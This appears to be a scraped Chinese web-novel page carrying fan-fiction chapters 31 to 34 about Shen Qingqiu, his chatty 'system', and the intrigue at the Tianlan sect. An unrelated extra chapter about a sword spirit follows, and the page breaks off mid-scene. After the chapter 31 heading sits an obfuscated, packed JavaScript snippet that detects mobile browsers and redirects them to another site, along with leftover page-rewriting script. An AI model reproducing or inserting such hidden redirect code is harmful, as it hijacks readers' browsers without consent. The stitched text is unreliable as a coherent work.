与现代的‘科技与狠活’比起来,这些菜品也过于‘原汁原味’‘寡淡无味’了吧! 系统看着又又又准备问他能不能暂停游戏、让他去点个外卖的沈清秋,当即就化身度娘,为沈清秋展开科普: ‘宿主……有没有一种可能,科技进步,才能食材百花齐放?’ ‘比如最出名的‘三倍体香蕉’,还有现代几乎成为日常的‘阳光玫瑰’、‘红富士’、‘柑橘家族’。单一个水稻的驯化与培育,如穗选法、单株选择法、三系杂交、基因编辑等选种育种更是用了将近几千年时间。’ ‘所以宿主啊。’系统深深的叹口气,告知沈清秋极其悲惨的事实: ‘你现在吃到的,都是没有经过科学家改良的‘原版食蔬’,不好吃也是有情可原的。若你真想让他们美味一些,除非推动科技发展。要不然就只能期待天上掉馅饼,给你送个厨子过来吧。’ ‘……’ 沈清秋突然觉得,古代和修真界,好像也没有那么有趣了。没有好吃的饭菜,吃饭就成了一件很令人心累的事情——可偏偏他辟谷丹用完了,他必须通过食物来获取能量。 艰难。太难了。 沈清秋决定,以后要学一下炼药。至少,辟谷丹是一定要会炼制的。 这些饭菜真的好难吃,还是无色无味的营养剂(丹药)更容易让人接受一点。怪不得星际小说里大家会对突然出现的‘吃播’‘大厨’奉为圭臬,沈清秋已经可以共情了! 看见突然沮丧的沈清秋,系统翻了一下剧情,突然精神兴奋了起来: ‘宿主~你还在苦恼于饭菜难吃吗?你还在纠结屋子和衣物如何整理吗?你还在犹豫修真界哪里有趣吗?’ 沈清秋:…… 系统是不是坏掉了,需要杀毒或重置吗?还是太长时间没充电,终于即将自动关机了? 这妥妥的‘两元两元全部两元’‘买不了吃亏买不了上当’‘跟随我得步伐带你上高速’‘毕姥爷在星光大道等你’洗脑销售风,实在是让人扛不住啊。 ‘有话直说,无事下朝。’沈清秋艰难的咽下几口饭菜,打算直接问对方要辟谷丹。这样的饭菜,他还是不要为难自己的咽喉与肠胃了。 ‘宿主~’系统的声音突然极其妖娆热切,连尾音都上扬着打弯绕圈。惊的沈清秋筷子抖了一下、敲击于盅盘之上,差点掉下去。 白振风的视线传过来,里面包含着主家与平辈应有的疑惑与关怀。沈清秋身边暗香拂过,身材玲珑有致的侍女为沈清秋换上新的餐具与酒杯。 “沈某不胜酒力,失礼了。” 沈清秋一记灵力砸向系统,脸上浮起淡淡的尴尬,准备离开。这里的饭菜太难吃了,早知道就不该甩开柳清歌,起码那家伙烤得鱼还算‘能吃’。 白振风爽朗一笑,挥手招一位黑衣侍卫前来,引沈清秋厢房入住。 他已将‘故事’讲于对方,世家大族出来的,即便有些心机,没被世俗打压过,行为做事自然是愣头青。 而这样一个地位尊贵、热血烂漫、性情单蠢之人——正是搅乱这趟浑水的,神来之笔啊。 沈清秋拱拱手,随着黑衣护卫离开。绕过几层栏杆,穿过两道花门,踏过高高隆起的荷塘拱桥,终于到了白振风为他准备的‘游龙院’。 期间……护卫沉默寡言。 沈清秋想早点将这个副本打完收工,故而有意逗他: “白公子曾与你们小姐情投意合,却为何在墨公子出现后,连你们小姐的面都见不到?” “白公子既为义子,却为何担当些巡逻站岗、无关痛痒的职责?” “墨公子若是师出名门还好说,可既然无所依靠,白掌门舍弃白公子而选墨公子,是否过于溺爱白小姐?” 护卫看着‘迫不及待’想要帮少主‘讨个公道’的沈清秋,许是没想到对方会如此‘上心’,语气中带着完全没有‘准备’的不确信: “大概是……掌门尊重小姐的喜好,故而刻意隔开少主与墨公子?” 沈清秋眨了一下眼睛,嘴角略微上翘,一副单纯好奇、疑惑费解的样子。瞳孔略缩,眸光打量着四周,继续发问: “你们小姐是在何处遇见的墨公子?俗话说‘一见倾心’,难道只是见了一面,白公子的少主之位就摇摇欲坠不成?” “这……”护卫有些不知道怎么开口。想到白振风之前的暗示,他尽量为白振风谋不平: “不仅如此,之前追随少主的赵家、钱家、孙家,除了几个与少主一同出生入死的兄弟,其他人都自发远离了少主。” “那几个人与少主牵扯太深,有些更是被排出继承权之外,明显是被丢出来‘弃车保帅’,避嫌避的恨不得斩断与少主的联系以明志。” 说到最后,侍卫都有些愤愤不平: “更有甚者,自从墨公子出现,少主开始接连受到刺杀,偏生却查不出来对方信息。即便是报告掌门,这种行为也屡禁不止。” “不是咱们说,如果一个事情众人皆知却查不出来,那与直接告诉大家凶手是谁,有什么区别?” “可惜少主却一直压着兄弟们,说掌门一定会给他公道。掌门亲自为他赐名,又将小姐许给他,即便现在不能成为‘女婿’,可不是成为‘义子’了吗?” “我呸!”侍卫突然重重的吐了口唾沫,手握成拳举起又狠狠压下: “少主就是太愚忠,掌门朝令夕改、鸟尽弓藏,少主做的那些事大家都心里有数,只要少主一声令下,兄弟们早就摩拳擦掌等着呢!” 第三十一章他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399137|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是太‘爱’对方了 ooc预警:伪穿书沈九 ———— 在白振风与黑衣护卫的互相印证补充下,沈清秋终于将天兰派发生的恩怨情仇等背景故事理清楚了。 这是一个极为俗套的争权夺利故事。 白振风所在的门派,嗯,也是胆敢算计苍穹山的、末流小门派天兰派。在其掌权人与下任掌权人之间,曾发生了一点关于权势交互、少女蕲艾的故事。 天兰派掌门是个痴情人,一生只爱自己夫人。且不说小妾和通房,便是连个带点花边的风言风语都不曾传出。可惜红颜薄命,掌门夫人香消玉殒后,只给他留下一个体弱多病的女儿。 小姑娘先天不足,打娘胎里便带着病。天兰派掌门到处搜集天材地宝,都没能解决根源。平日里只能用各种灵物小心滋养着,等年纪到了便招募个靠谱的男子入赘。 只是世间男子多薄幸,如天兰派掌门这样专情的少之又少,若说大海捞针般碰运气、赌人品,将女儿后半辈子的幸福寄予‘天降良缘’,也未免过于儿戏些。 小姑娘是两人的感情结晶,又兼之经常生病、无法修炼习武,掌门只能早早做上准备。为小姑娘从一众少年中选取十位英年才俊,带到小姑娘的身边。甭管是充当护卫,还是养成‘女婿’,总比从外面随便招入赘强。 小姑娘生的花容月貌,又被千娇百宠,故名“白娇娇”。而她的父亲,天兰派掌门,名为白长林。至于母亲……好吧,这种故事里,其实白娇娇母亲的名字,并不是很重要。 现在名为白振风的青年,本是拜入门中、被吸收进来的孤儿,原名十九号。别问,问就是一开始大家都喊序号,唯有年纪大些开始分工,重新改为‘暗卫xx号’‘护卫xx号’等。 赐名与拥有自己专属姓名……对于他们来说,实在是过于遥远。 只是偶然的机会,少年因表现突出、皮相尚佳被选中;十位少年排排站,被屏风后的少女所挑选。 少女一开始选中的并不是他。只是被选中的那个……不乐意伺候少女。 用少年的话说,他的一身武艺是要保家卫国、报效天兰派的,怎能因少女的挑选,成为女子的私人物件,浪费自己的大好天资? 嗯。人可以有傲气,也可以有傲骨。 但。分不清情况的‘傲’,与傻并没有区别。 那位少年被拖下去活活打死,而白娇娇,也在愤怒之后小脸煞白,难得的冲自己父亲、天兰派掌门闹脾气。 剩下的九名少年,瑟瑟发抖之际。白振风站了出来。哦,此时的他还叫‘十九号’,随着他的‘英勇站出’,白娇娇将他带走,剩下八人得以保全性命。 而十九号被白娇娇选中后,因表现得很讨白娇娇欢心,赐名白振风,并定下了与白娇娇的婚约。 至于为什么白振风要费劲巴拉的跟沈清秋讲故事,又为什么天兰派敢坑苍穹山。是因为这个励志少年的故事里,有了‘第三者’插足。 直白点就是,白娇娇后面喜欢上了另一位少年。而白振风的所有优势,正是因为他的‘驸马’身份。一旦白娇娇移情别恋,白振风就如同空中楼阁,一步踏错,便会摔个粉身碎骨。 毕竟。众所周知,在有实权的君王手下干活,是绝对不能碰‘驸马’这个官职的。 因为—— 如果你没有足够的势力和实力,你的顶头上司不仅有身为岳父的帝君,还有身为妻子的……公主。 所谓‘雷霆雨露皆是君恩’,妻子一个不开心,拥有实权的岳父是真的会持刀将你砍杀了。而你……死都死了,还能指望有人为你喊冤? 还有很重要的一点。驸马很惨,还没当上驸马但名义上是驸马的人……更惨。 若是一直被当成‘驸马爷’对待还好,可若临到快成亲,小公主却爱上其他人——这个‘伪驸马’的身份,那可真是不上不下,不尴不尬的。 虽说白长林第一时间将白振风收为了义子,可明眼人都知道,白振风已被排除了权利圈子,几乎不可能以‘子辈’的身份重新获得本该拥有的一切。 而且自从白娇娇‘忽略’白振风的那刻起,层出不穷的刺杀与割袍断义……每天都在惊险刺激、爱恨交织的上演着。 情爱是最不靠谱的东西。 白振风本该佳人在旁,大权独握。 可惜佳人另寻他人不说,原本唾手可得、距他只有一步之遥的掌门位,也打了水漂。 白振风不可能不做些什么。 即便他不想争,那些归属于他,从小被打上他阵营标记的‘大臣’们,必会推着他去争。 从龙之功,从来都是,跌下去,就不可能起得来。他们下注太早,宝都押上了,哪有放任他们白白打水漂的可能? 再说了,若非另一人的横插一脚,这些‘太子伴读’的位置,当初可是打的狗脑子都要出来。 争权夺利、宫廷政变。 若是最后得不到被许诺的利益,谁跟你消耗资源、荣辱与共? 至于那些‘排出继承权’的戏码,也就是演给傻子看的。 这些世家大族四处下注,两面逢源。明面上不违背掌门的意思,私底下却派纠缠根深的家族子与对方牢牢绑在一起,主打一个两不得罪、流水的掌权人铁打的世家。 当然,白振风自己的脑子也够用。白长林刚表达出‘白娇娇’喜欢新人,白振风立刻摆正‘他对白娇娇是兄长的照顾之情’;又明里暗里的上交兵权,换得个‘义子’的身份。 白长林堪称粗暴的将他撵出权势中心,白振风挂着‘忠厚’的笑容,转头就去巡逻打更。一副‘义父英明神武’‘孩儿愿为天兰派鞠躬尽瘁、死而后已’的贤良模样。 名声上、行为上、言论上、下属上,竟没有一个能让白长林和那些盯着他的‘敌人’们找到攻击点的。故而,最终白振风虽然被夺权,却终究是保住了命和兄弟们。 而只要有这两样在,白振风随时可以随手一挥,占据民心与大义,‘抢回’白娇娇。 毕竟…… 白娇娇,可是活着的——掌权之位啊。 再说了,白振风一个‘内定’那么久的‘可怜人’,夺回自己的‘爱人’,有什么不对的? 他只是太爱对方了,不忍心看着她被那个叫墨子棋的给欺骗,更不愿看见传承百年的天兰派被外人夺去,要保住‘白’家基业而已。 绝对不是为了什么劳舍子的权势。 他只是被辜负的、爱而不能自拔的、可怜人~ 第三十二章系统还会骗人呢 ooc预警:伪穿书沈九+嘴碎系统 ———— “宿主?”系统被沈清秋打了一记,看着平躺在床上悠然把玩手指的沈清秋,默默开口:“宿主,你是在练习掐指和卜卦吗?” “……” 沈清秋翻了个身,没回答。 系统看着对方翻个身依旧在‘研究’的样子,实在是好奇:“难道您终于发现了这具身体有多完美,打算好好养护不再作死?” “原主的身体保养的多好啊,一天天的不知道爱惜。光说那张脸,因为你天天乱跑,看着都不像是高冷仙尊的苍白了!” “更别说原主本身吹弹可破、细腻如玉的肌肤,让你这个大直男搞的糟里糙气,都快因为干燥崩裂了!” “还有那些被你跟柳清歌打出来的痕迹和淤青。明明千草峰那么多药品,随便涂几个就能消除的东西,你愣是要留下几道疤,咋的是打算让柳清歌赔偿吗?” 这个真不怪系统。 毕竟沈清秋自‘穿越’以来,除了心情好去泡澡外,从来没考虑过修养和爱护。 ‘沈清秋’原本保养得当的乌发都有些暗淡,更别提耐不住无聊的没事就干架、时不时火烧房间、道法符录失误后各种朝自己砸…… 嗯。像极了只要死不了、就往死里作,并且从来不考虑补水祛斑、调养身体,留下的伤疤只会认为是胜利勋章的直男。 “别吵。” 沈清秋心里剖析着局势,出言打断系统的碎碎念。他一介直男,养护个屁的养护。 原主的脸色是挺白,但那是由于常年窝在屋子里不晒太阳逼出来的苍白;那些战斗所留下的痕迹,他又不在乎那些,只要不疼就是了,其他的完全无所谓;至于皮肤细腻,他又不是小姑娘家家、一个大男人考虑这个干嘛? “……” 系统不开心了,他被宿主呵斥了。哎,没爱了。 只是没一会,系统就调整好心态,换个话题继续发问: “宿主……你为什么要参与进来?’ “之前那个皇家的态度摆得多低啊,多诚恳啊,你都不乐意帮忙。这个明显想利用你的,怎的却动心思了?” “你不是觉得这边饭菜还不如柳清歌吗,为什么还要留在这里,不直接离开?” 系统碎碎念许久,突然夹上私料: “宿主,你知道吗,‘主角’的饭菜做的可好吃了,考虑一下呗?” “……” 沈清秋实在受不了系统的絮絮叨叨,也没有与人分享谋划策略的习惯。只是,他偶然间发现一些有趣的东西,倒不如跟白振风一样,给系统讲个故事,让它‘琢磨弦外之音’。 ‘系统,我给你讲个故事吧。’ ‘?’ 系统已经做好了被打一记的准备,怎么沈清秋改了性子,居然想跟他‘分享故事’?太奇怪了,太激动了,太令人兴奋了。 只是系统的兴奋还没多久,沈清秋的话语,令系统瞬间开始怀疑自己的代码是不是被黑客入侵了。 ‘从前有个孤儿,被一位大家小姐选中,之后便成为了众人的眼中钉。’ ‘可众人的排挤是暗地里的,众人的敬重和服从是明面上的。’ ‘你说,那个‘大家小姐’,究竟知不知道实情呢?’ ‘……’ 系统有些感觉不对劲。虽然,大概,也许……这个故事听起来和白振风今天讲的很类似。但……自己的宿主……怎么会与他分享这个故事的? 只是系统还没来得及表达看法,沈清秋的下一句已经接上: ‘随着少年的长大,大家小姐也到了要成亲的年纪。可少年,却另有奇遇。’ ‘这时,少年向主家提出申请,问能不能放他出去追求长生大道。’ ‘你说,这样一个‘违背主家心思’的孤儿,主家会对他做什么呢?’ ‘宿主……’ 这下系统可以百分百确定,这个故事……绝对不是白振风讲的那个,更不是随意编造就能‘误打误撞’出来的! 那么……系统在越听越熟悉的情况下,下意识检查了一遍沈清秋的记忆,原本被封禁的那部分依旧在封锁。 可,这个故事……即便是巧合……未免也太像了! 系统的心态有些紧张,太过相似的剧情、被依旧紧锁的记忆碎片,都令系统有些无所适从。他略显焦急的打断沈清秋的讲述,颇为强硬的问道: ‘宿主,你究竟想说什么?!’ ‘啊,吓到你了?’ 沈清秋的声音依旧是少年气的清朗,可音调里,却埋藏着试探后得到‘回答’的音波弧度。这些变化太细微,除了沈清秋轻轻勾起的嘴角,并没有人会察觉到。 他不知从何时起不再平躺,也不再观察自己的手掌。而是侧身坐在宣软的床铺之上,视线对着地上的月光,垂下眼帘: ‘你看,同样是‘违背一开始的构想’。大家小姐喜欢上其他人,少年要么拘谨守礼、自觉退出;要么奋起直上、推翻一切。’ 少年声音平淡如水,音调也无波无澜,就像是在照本宣科的朗诵着课本,完全不带一点感情的描述道: ‘可如果是少年退出。’ ‘那他就是背信弃义、罔顾恩义之徒。’ ‘如果这个少年还做了什么更过分的事情……’ 沈清秋极为认真的打量着手掌,看着上面纵横交错的纹路。这是年少孤苦,长大后也没办法消去的痕迹。 细腻修长,光滑白皙的手指。 展开之后,却布满了纹路极深的掌纹。 虎口和手腕的茧子,是练剑所磨。可食指与拇指的擦痕,却是常年使用暗器所带来。 这样手掌的主人,一定有着堪称凄惨的童年。根据系统之前透露的‘沉浸式结局体验’,这个身躯的主人,还有着绝对悲惨的结局。 甚至说,系统的主线任务,明面上是‘好好培养主角’,事实之中,却更多的是‘改变结局’。 那么。他这个‘被选中’之人,有没有不该被他知道的、隐藏秘密呢? 而他这个‘系统’,三番两次岔开他要‘暂停游戏、回归现代’的话题,是不是意味着,他本就无法‘回去’? 换句话说,他究竟……有没有‘回归’的可能性? 那个被困在这个十年的穿越者,貌似也没有提供什么有效的信息。即便是最后力竭被抓,其表现看起来,也与常人无异。 难道说,即便是‘濒死’的危机,也无法‘退出游戏’? 〈刀剑神域〉里面,最终的退出办法,是打倒一百层的BOSS。虽然最后只打倒了七十多层,结果却是一样的。 那么——他要打的BOSS,又是谁? 那个看起来就一肚子坏水的‘主角’吗? 他的这个‘系统’,好像一直都在引导他去‘接触主角’‘培养主角’呢。 还有啊——明明回不去,却还告诉他‘随时可以退出’,还真是,会说谎骗人的小骗子。 第三十三章想付出信任,却又害怕被捅 ooc预警:伪穿书沈九+动脑子柳清歌 ———— 从茫茫人海中找到某个特定的人,这个人还极有可能存在各种伪装术、抹去痕迹的方法,是件很困难的事情。 就像是大海捞针,拿磁铁固然有可能吸引到铁块,但谁知道那个才是你需要的?而且说不定同性互斥,还会将你要找的推得更远了些。 沈清秋是三天前失去踪迹的。当天傍晚,沈清秋看着柳清歌将火堆熄灭,突然问他要不要‘打个副本’。柳清歌完全没理解‘副本’是什么东西,又为什么要打,故而,他毫不犹豫的拒绝了。 emmm。毕竟,在柳清歌的记忆里,沈清秋已经修身养性很久了。秉持着‘能用符箓坚决不用剑术、能一剑砍杀坚决不近战、能用阵法坚决不施展防卫术’的良好品质,沈清秋连暗器和毒都很少再使用。 这样一个‘懒到不想动手、更希望言语直接搞定一切’的家伙,会专门拉着柳清歌去‘打副本、刷怪’? 虽然柳清歌表现的很友善,也在努力尝试向沈清秋释放善意。 可两人之间,毕竟隔这那么多年的针锋相对、冷漠对打,还有着数不清的弟子争锋、门下恩怨,甚至说,就连柳清歌本人,都在战斗之时被坑了两次—— 别说第一次沈清秋那张、冷硬到脸颊都绷直的阴沉和肉眼可见的不满;即便第二次沈清秋当即骂骂咧咧的发声,也不能否定柳清歌落入妖物围攻的情景。 也就是柳清歌。但凡换一个人,就不是怀疑他‘暗害队友’,而是直接被他坑个半死,需要喊120急救、或者喊110刑侦大队勘察的状态。 柳清歌是武痴,又不是白痴。 对方明显不待见他不说,还‘处心积虑要赢他’、‘不择手段埋伏他’、‘对战途中将他踢到敌人窝里’…… 此情此景,柳清歌要是还信沈清秋对他‘一片赤诚’。嗯,柳清歌还不如相信对方真的很执着的想让他死,更可能一些。 故而。柳清歌虽然努力对沈清秋释放善意,但难免的……也对他心怀警惕。 信任这种东西,是没办法弥补的。 裂痕一旦产生,什么样的胶水都无法填充。即便是整体看起来无伤大雅,可被强行粘连的地方,总归还是很容易进冷风。 除非说—— 对方换了芯子。 如果对方灵魂更换,那么沈清秋与柳清歌的前尘过往,是可以‘忽略不计’的。 毕竟——没道理让后来者继承前者的因果。 可同样的,如果后来者不应被前者‘拖累’,也不该受到前者的余荫照料。 权利与义务总是一体的,当你想要享受某些好处时,必然要承受对方的某些缺陷。而如果拿了好处却又不愿处理恶果,那与又当又立、当了婊子还要牌坊有什么区别? 只是——在柳清歌的试探之下,沈清秋虽然心智退化、性情跳脱,行为处事的逻辑却是没有变的。 人的三观由记忆和过往构成,人的行为由底层逻辑和灵魂底色支配。只要底层逻辑不变,别管程序编写的多么复杂,也无非是增加一些判断和预设而已。 沈清秋既然还是沈清秋,那么沈清秋曾经做过的事情,就没有任何‘抵赖’的方式。别管是出于无奈也好、好心办坏事也行,只要造成了切切实实的伤害,所有解释,都是‘逃脱责罚’的手段。 沈清秋之前用剑险些砍死柳清歌,不做解释也没表示,所以柳清歌与沈清秋决裂,被骂了那么多年。 沈清秋现在将对方踢入蛇妖群,作出恼怒愤恨的姿态,却还是得到了柳清歌不信的表态,气急直接‘割袍断义’、‘转身就走’。 有因必有果,有果必有因。因果相连首尾相通。每个人都有着自己的逻辑,每个人的逻辑与行事,亦能遵循本心,绝不动摇。 无论是‘发出招式’的沈清秋,还是‘受到伤害’的柳清歌。 无论是解释还是不解释。 无论是付出补偿还是冷漠决裂。 只要没有‘情景重现’‘故事回放’的绝对客观证据,两人之间的是是非非,都是分辨不明晰的。 他们脚下的阴影在夕阳下被拉出长长的轨迹,猩红如血的天色为两人覆上瑰丽而红艳的薄纱。两人的心却像是相对而站的影子一样,始终,不曾重叠在一起。 也正是明白了这一点。 沈清秋邀请柳清歌‘刷密室副本’失败后,转身就走,毫不停留。 想要‘跟随’的柳清歌只是愣了一秒,再想大跨步跟上的时候,却收到了对方的嘲讽:“柳公子不是要寻令妹吗,跟着沈某做什么。” 待柳清歌想好要怎么回话,沈清秋的身影,已消失不见。 ———— 柳清歌其实设想过如果现实中的‘沈清秋’能如梦境中的‘沈清秋’,哪怕只有那么一点点的‘性格柔软’,一点点的‘善解人意’。他与沈清秋的关系,都不至于如此。 沈清秋太傲,也太硬了。 他会解释,但他的‘解释’,更多的是不满(你傻还是蠢?没有脑子这也看不出来?)。当沈清秋想要‘解释’一件事的时候,这件事要么对他而言很重要,要么就是人对他很重要。 当然——这个几率太小了,指望他解释,还不如指望他一剑砍不死你。 他会恼怒与愤恨,但他的情绪波动,更多的是要么动手要么决裂。 男频仙尊,还能指望他给你一点点分析利弊、捋清局势,剖析他怎么想的、其他人又什么想法不成? 有哪些功夫,还不如直接将敌人解决。等故事走向结局,谁还会在乎传闻中的人物究竟什么想法?指不定那些前尘往事,早就消逝的无影无踪,谁又闲的无聊去研究戏中人的是非恩怨? 艰难啊。 柳清歌呼出一口气,继续寻找沈清秋。 以他的脑子,能看明白沈清秋是因为他的‘拒绝’而离开,还能继续想明白沈清秋就是单纯想让他当打手,已是不易。 这个人的恶劣与自私始终不变。 他对你‘友善’,只是因为想让你干活;他对你‘忍耐’,只是因为你的行为令他还能接受;他转身就走,只是因为……不愿再与你同行。 多简单易懂啊。 简直比执着于修炼的柳清歌还好理解。 就连平日里不善与人家交往的柳清歌都能‘明白’。 可失去了‘智囊’的柳清歌,又该如何凭借自己的‘运气’,查找到在此地经营已久、关押苍穹山数百弟子的……天兰派? 第三十四章如果这里不是游戏 ooc预警:伪穿书沈九+剑痴柳清歌 ———— 白振风是个有点心机的人。当然,在这种世袭大族、盘根错节的门派里面,没心计的人都是有脑子之人的刀与盾。 如果他真的如表现出来的那般‘憨厚’与‘忠诚’,估计早就将底下人的心寒了一波又一波,被不知道多少人叹一句‘怒其不争’,继而成为真正的‘孤家寡人’。 故而当白振风将墨子棋的资料送过来,并且询问沈清秋‘看法’时,沈清秋手捧酒杯,似笑非笑的看他一眼,呼出一口哈气。 对方的意思很明确:天兰派参与坑害苍穹山的所有举动,都是墨子棋主导的,如果苍穹山那边想要清算的话,千万要‘查明真相’,不要‘一刀切的牵连无辜’。 数九严寒,鹅毛大雪就像是最完美的幕布,将万物都覆盖成白色冰雕。冬日的阳光并不热烈,甚至还有些寂寥无力之感,悠悠的照射着远处的房屋与山脉。 数千年的寂静与生命的蕴藏,在此刻显得如此厚重而安宁。 白振风随着沈清秋的视线望过去,远处的山脉连绵起伏,白色雾气下是隐约透着青黄的山林与青黑色的岩石。随着寒风袭来,凌冽又冰凉的冷意随着领口缝隙钻入心肺,激起忍不住的咳嗽与寒颤。 沈清秋这段时间都在拎着酒壶去天兰派最高建筑‘揽月阁’,面向重峦叠嶂的山峰温酒弹琴,自焯自饮。 就像是所有犯文青病的少年一样,衣服一定要广袖轻薄、飘飘欲仙,头冠一定要换成同等色系的发带,站在能‘俯瞰一切’的制高点,摆POS、吹寒风。 所以,当白振风被一个冷风打得有些寒颤时,看着对面极具文艺气息、处处都‘规正守礼’到一举一动极为赏心悦目的沈清秋,心里不禁感叹:‘果然是第一门派养出来的大能,这气度,当真仙人。’ 只是对方这个似笑不笑的眼神,究竟是同意还是不同意?天兰派参与不够格的战场,全身而退本就不可能,弃车保帅、断尾求生才是正解! 当然……如果能借这个机会排除异己……白振风更是会将表情调整的‘义正言辞’、‘纠结难言’、‘端厚却又为了大局不得不舍弃’…… 沈清秋手腕倾斜,斟满新酒。 这人也算是有眼色,上来也不扯什么杂七杂八,半句不提想要沈清秋做什么、承诺什么,只是就那么自觉的为沈清秋温酒,搭上屏风差人弹琴跳舞。 一举一动,像极了老友会面、赏景闲话。 求人办事,自然是将好处先给出去,接着真正要办的时候,稍微表态试探一下,成就成,不成也只是对酒言谈、算不得什么。 都是千年狐狸,总不至于因为对方没回应,就掀翻桌子、讨要回之前付出的资源。这就过于较真、玩不起了。 白振风令人将上好白丝碳摆放整齐,转头拱手后准备离开。他已经陪对方待了一个时辰,既然对方没回应,总不能通过耗时间来‘达成目的’,手下还有一些堆积杂事要处理,实在是耽搁不得了。 却没想到,就在临走之际,听到一句轻的仿佛迎风吹来的话语:“明日巳时,之前‘遇袭’东五里处,逃出去那个会在此地休息。” 声音清雅淡漠、音调平和无起伏,可说出的内容,却令白振风猛的回头。他瞳孔略微瞪大,认真的看了沈清秋一眼,恭恭敬敬的拱手鞠躬,转身离开。 沈清秋举起酒杯,温暖清透的液体散发出粮食发酵的香味,其中还隐隐参杂有属于桃花的甜腻气息。随着不算滚烫的酒水入喉,轻微的辛辣带来气管内部的灼热。 ‘柳清歌。’ 沈清秋闭上眼皮,开始思考这个NPC的事迹与存在。 当然,如果这个世界不是‘可退出’的游戏——嗯,那就应该……是个人吧。 —— 其实,柳清歌的形象,不太符合沈清秋关于‘剑痴’的刻板印象。 一个标准的剑痴,应该是心中只有剑,或者干脆与自己的剑一起隐居或常年闭关、游历,完完全全的不理世事、除了打架和修炼,什么都不关注。 所以在系统说‘柳清歌与沈清秋互不对付,并且死于沈清秋之手’时,沈清秋以为自己会像是游戏里挂上红牌,走到哪里都会被突然冒出来的剑痴刺一剑,然后无休止的打架,直到一方死亡。 毕竟——能惹怒一个心中只有剑的家伙,除了用血洗刷仇恨、用性命赔偿怨怒,别无其他。 此等仇恨,不死不灭。 但是吧—— 沈清秋是真没想到,这所谓的‘惹怒’,与意见不合的分道扬镳、互相嫌弃,有什么区别?典型的‘我早就看不惯你,直到现在才算发现你是真的不行’。 嗯。既然没有涉及灭门之仇、夺妻之恨,也不存在立场冲突、理念相斥,对方的实力也勉强领先自己一点,同行倒也不算什么。 可是吧—— 柳清歌之前还像个正常人,怎么被敌人捉走之后就跟洗了脑、更换了人设似的?所以那些人究竟对柳清歌做了什么,柳清歌又被何等内容的梦境所困? 沈清秋在现代的记忆里,不曾遇见武痴。但是,他有玩健身的舍友啊! 那些练健身的家伙们,做的最‘令人不能理解’的事情,就是到处秀肌肉。是真的到处跑到其他人面前,屈起胳膊,问他们:“我的(肱二头)肌大不大?” 或者交叉步半悬身,让其他人用拳头砸他的胸肌,砰砰作响的那种。又或者,就穿个内裤,涂点打光的精油,一个弓步拉起,秀自己的股四头肌,问他们够不够“大肌”。 “……” 绝对不擦,纯粹展示,而且还是常人理解不了的秀。 说过了都是泪,在那群货中,沈清秋这个练武的,跟娇瘦的文学院弱鸡没区别。每次都得他一脚踹过去,扛着被震麻的脚丫子,跟那群嘴贱的玩意比试比试。 他要那么强壮的肌肉干什么!适量锻炼肩宽腿直,虎背蜂腰螳螂腿,还显得高大帅气。像是玩健身健美的那群孙贼,一个个上半身鼓囊囊的,COS十万个冷笑话吗! 所以,在沈清秋心中,剑痴应该是没事会找人干仗打架、或者干脆找地方云游四海、闭关修炼,就像是〈笑傲江湖〉的独孤求败似的。 至于柳清歌这个跟脑子秀逗的家伙,绝对不是正常武痴!他就是单纯的不善言辞,不想动脑子! 毕竟像他们这种层次,能一剑砍之,何必要与人婆婆妈妈。反派死于话多懂不懂?直接一剑杀之,可解万事。 所以说。 沈清秋叹了一口气。 如果这个世界不是游戏,那么原主留下的这些烂摊子,以及‘预设好的悲惨未来’—— 简直令人心累! 64.九X剑;沈九的起点与海棠剧本 冷门CP:沈九X修雅剑 假如修雅剑产生了剑灵,并且还拥有[狂傲+渣反]记忆~ “主人啊,你听我的没错,要不然~我替你飞起杀人,你帮我擦拭干净?” 九剑:主人,你一定要听我的话! “主人,听我的,宁樱樱是个麻烦精,千万不能收!” “为什么?”沈清秋听着脑海中修雅的传话,看着对自己一脸崇拜的小姑娘,手里的折扇都停止了转动。 “主人,泄露天机会被雷劈的!虽然我不惧敲打,但是雷劈也是很疼的!” “你就听我的,你我心念一体,我不会骗你的!” “这,可若是不收她,清静峰今年就又没有新鲜血液了。” 沈清秋将折扇打开,微微眯起眼睛,想看清楚修雅极力阻止自己收下的姑娘,究竟有何种奇特之地。 “那些不重要!只要麻烦精和害人精不进来,以后的平静日子多着呢!” “?”沈清秋听着脑海中的传话,不禁陷入沉思…… 麻烦精?是指这个姑娘狐狸精转世,会四处勾引男人,引得年轻子弟为她大打出手吗? 害人精?是指有人心怀诡异,经常暗中害人性命吗? 修雅剑感知到主人的不解,却也没有过多解释: 就这样让他以为吧。对宁樱樱上心和警惕,总比之前“关心”被传“睡门下女弟子”要好的多! 虽宁樱樱在沈九心中印象不好,但是远离清静峰,仙姝峰说不定更适宜她的发展! ———— “沈清秋,那个弟子资质绝佳,你不要跟我抢!” “主人!”修雅第一时间传话: “那个弟子虽然资质不错,但是他心性不行!而且他还是个孤儿,养母早死,这样的人心里不正常,咱们不跟他玩!” “……”沈清秋还没回柳清歌,修雅倒是比他还激动! 如果修雅没出声,沈清秋还真想跟柳清歌争一争。毕竟弟子不算什么,跟柳清歌争赢了,才算快活! “主人,你就听我的。那个弟子心性不佳,还喜欢拈花惹草,没事就喜欢勾搭一群妹子为自己争风吃醋,这样的人,收了还不够头疼呢!” “……”虽然修雅的解释听起来很靠谱,但是上一个这样''评价''的,现在在仙姝峰养的很正常……一点也看不出……喜欢让男修争相追捧的意向…… “修雅,你是不是知道点什么?” “没有,绝对没有!” “我不信,你上一次说的''麻烦精''与''害人精''……” “主人!你我心意相通,我能害你吗!” “可是……” “主人,你是不是被外面的小妖精(柳清歌)迷惑了?我们还是出去历练吧!我杀人,你擦血!” “我总是觉得……” “没有总是!那个妹子不是好的,这个更不是!你就把麻烦扔给柳清歌呗,他命硬,克死了多开心啊!” “……行吧。” 假如沈九拿海棠剧本并欲拒还迎 小九与岳清源的矛盾是陈年旧怨;师傅与洛冰河的矛盾是嫉妒与打压;沈清秋与柳清歌的矛盾是嘴毒与羡慕 沈九X冰哥 “师尊……弟子……” “滚!” “师尊,别拒绝弟子……” 